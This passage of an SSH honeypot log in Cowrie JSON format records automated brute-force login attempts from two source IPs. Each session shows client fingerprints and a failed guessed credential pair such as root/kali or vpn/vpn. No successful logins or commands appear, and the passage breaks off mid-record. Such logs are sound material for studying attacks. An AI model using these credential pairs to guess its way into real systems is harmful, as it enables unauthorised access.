{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40918,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3ad17250b7d","protocol":"ssh","message":"New connection: 192.109.200.78:40918 (10.17.0.5:22) [session: b3ad17250b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:08.253533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:08.258583Z","src_ip":"192.109.200.78","session":"b3ad17250b7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:08.349259Z","src_ip":"192.109.200.78","session":"b3ad17250b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:08.600517Z","src_ip":"192.109.200.78","session":"b3ad17250b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:09.684879Z","src_ip":"192.109.200.78","session":"b3ad17250b7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47558,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebe67b1a3ad6","protocol":"ssh","message":"New connection: 192.109.200.78:47558 (10.17.0.5:22) [session: ebe67b1a3ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:11.977941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:11.986152Z","src_ip":"192.109.200.78","session":"ebe67b1a3ad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:12.060913Z","src_ip":"192.109.200.78","session":"ebe67b1a3ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty123","message":"login attempt [deploy/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:12.377797Z","src_ip":"192.109.200.78","session":"ebe67b1a3ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:13.461773Z","src_ip":"192.109.200.78","session":"ebe67b1a3ad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47560,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b757fe711f5","protocol":"ssh","message":"New connection: 192.109.200.78:47560 (10.17.0.5:22) [session: 0b757fe711f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:15.349896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:15.354018Z","src_ip":"192.109.200.78","session":"0b757fe711f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:15.438971Z","src_ip":"192.109.200.78","session":"0b757fe711f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1","message":"login attempt [rocky/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:15.686844Z","src_ip":"192.109.200.78","session":"0b757fe711f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:16.771542Z","src_ip":"192.109.200.78","session":"0b757fe711f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":53732,"dst_ip":"159.203.135.109","dst_port":22,"session":"df281ebd8575","protocol":"ssh","message":"New connection: 103.77.242.62:53732 (159.203.135.109:22) [session: df281ebd8575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:17.288127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:17.292020Z","src_ip":"103.77.242.62","session":"df281ebd8575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:17.533386Z","src_ip":"103.77.242.62","session":"df281ebd8575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10121993","message":"login attempt [root/10121993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:18.259091Z","src_ip":"103.77.242.62","session":"df281ebd8575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47572,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ffbceda51cf","protocol":"ssh","message":"New connection: 192.109.200.78:47572 (10.17.0.5:22) [session: 4ffbceda51cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:18.724318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:18.728759Z","src_ip":"192.109.200.78","session":"4ffbceda51cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:18.810907Z","src_ip":"192.109.200.78","session":"4ffbceda51cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:19.061833Z","src_ip":"192.109.200.78","session":"4ffbceda51cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:19.502806Z","src_ip":"103.77.242.62","session":"df281ebd8575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:20.145297Z","src_ip":"192.109.200.78","session":"4ffbceda51cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34890,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f4bbad7d0d6","protocol":"ssh","message":"New connection: 192.109.200.78:34890 (10.17.0.5:22) [session: 9f4bbad7d0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:22.026195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:22.030181Z","src_ip":"192.109.200.78","session":"9f4bbad7d0d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:22.111742Z","src_ip":"192.109.200.78","session":"9f4bbad7d0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:22.603824Z","src_ip":"192.109.200.78","session":"9f4bbad7d0d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:23.688496Z","src_ip":"192.109.200.78","session":"9f4bbad7d0d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34914,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad840358719","protocol":"ssh","message":"New connection: 192.109.200.78:34914 (10.17.0.5:22) [session: 9ad840358719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:25.705563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:25.710565Z","src_ip":"192.109.200.78","session":"9ad840358719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:25.796751Z","src_ip":"192.109.200.78","session":"9ad840358719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:26.047821Z","src_ip":"192.109.200.78","session":"9ad840358719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:27.133986Z","src_ip":"192.109.200.78","session":"9ad840358719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34940,"dst_ip":"10.17.0.5","dst_port":22,"session":"50dacf00b08d","protocol":"ssh","message":"New connection: 192.109.200.78:34940 (10.17.0.5:22) [session: 50dacf00b08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:29.127634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:29.131027Z","src_ip":"192.109.200.78","session":"50dacf00b08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:29.211902Z","src_ip":"192.109.200.78","session":"50dacf00b08d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:29.459328Z","src_ip":"192.109.200.78","session":"50dacf00b08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:30.544864Z","src_ip":"192.109.200.78","session":"50dacf00b08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36880,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e8a66ec5688","protocol":"ssh","message":"New connection: 192.109.200.78:36880 (10.17.0.5:22) [session: 6e8a66ec5688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:32.607744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:32.611468Z","src_ip":"192.109.200.78","session":"6e8a66ec5688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp